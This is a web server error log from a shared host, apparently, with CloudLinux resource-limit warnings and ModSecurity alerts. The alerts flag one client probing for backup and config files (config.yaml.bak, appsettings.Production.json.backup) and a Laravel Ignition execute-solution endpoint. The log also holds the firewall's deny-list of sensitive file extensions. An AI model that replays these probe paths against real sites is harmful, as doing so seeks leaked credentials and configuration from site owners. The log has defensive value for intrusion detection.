[Fri Jul 17 08:55:20.543109 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.549960 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.550149 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVbwAAABM"]
[Fri Jul 17 08:55:20.562540 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.backup"] [unique_id "almgoHRlmrtCoY_COpcl_QAAAAg"]
[Fri Jul 17 08:55:20.563070 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.backup"] [unique_id "almgoHRlmrtCoY_COpcl_QAAAAg"]
[Fri Jul 17 08:55:20.563205 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.563336 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl_QAAAAg"]
[Fri Jul 17 08:55:20.565474 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.573856 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.576869 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.578947 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.588098 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.yaml.bak"] [unique_id "almgoO1pLmPpy2r_2CxfXwAAAA8"]
[Fri Jul 17 08:55:20.588666 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.yaml.bak"] [unique_id "almgoO1pLmPpy2r_2CxfXwAAAA8"]
[Fri Jul 17 08:55:20.588823 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.588978 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfXwAAAA8"]
[Fri Jul 17 08:55:20.593344 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.yaml.old"] [unique_id "almgoFCBpfuYyhJ140vSuwAAAB4"]
[Fri Jul 17 08:55:20.593866 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.yaml.old"] [unique_id "almgoFCBpfuYyhJ140vSuwAAAB4"]
[Fri Jul 17 08:55:20.594000 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.594118 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.595472 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.596088 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yaml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.yaml~"] [unique_id "almgoCvekYYQ8uns4MwldgAAAA0"]
[Fri Jul 17 08:55:20.596626 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.yaml~"] [unique_id "almgoCvekYYQ8uns4MwldgAAAA0"]
[Fri Jul 17 08:55:20.596753 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.596880 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwldgAAAA0"]
[Fri Jul 17 08:55:20.597785 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vSuwAAAB4"]
[Fri Jul 17 08:55:20.598595 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.yaml.swp"] [unique_id "almgoIbYoYGvYnmnM82CPQAAAAs"]
[Fri Jul 17 08:55:20.599147 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.yaml.swp"] [unique_id "almgoIbYoYGvYnmnM82CPQAAAAs"]
[Fri Jul 17 08:55:20.599283 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.599441 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CPQAAAAs"]
[Fri Jul 17 08:55:20.603467 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.yaml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvQAAAAQ"]
[Fri Jul 17 08:55:20.603992 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.yaml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvQAAAAQ"]
[Fri Jul 17 08:55:20.604140 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.604273 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBvQAAAAQ"]
[Fri Jul 17 08:55:20.604360 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.608070 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.608581 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.608924 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.609754 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.620292 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.624902 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.xml.bak"] [unique_id "almgoO1pLmPpy2r_2CxfYAAAAA8"]
[Fri Jul 17 08:55:20.625422 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.xml.bak"] [unique_id "almgoO1pLmPpy2r_2CxfYAAAAA8"]
[Fri Jul 17 08:55:20.625576 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.625749 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfYAAAAA8"]
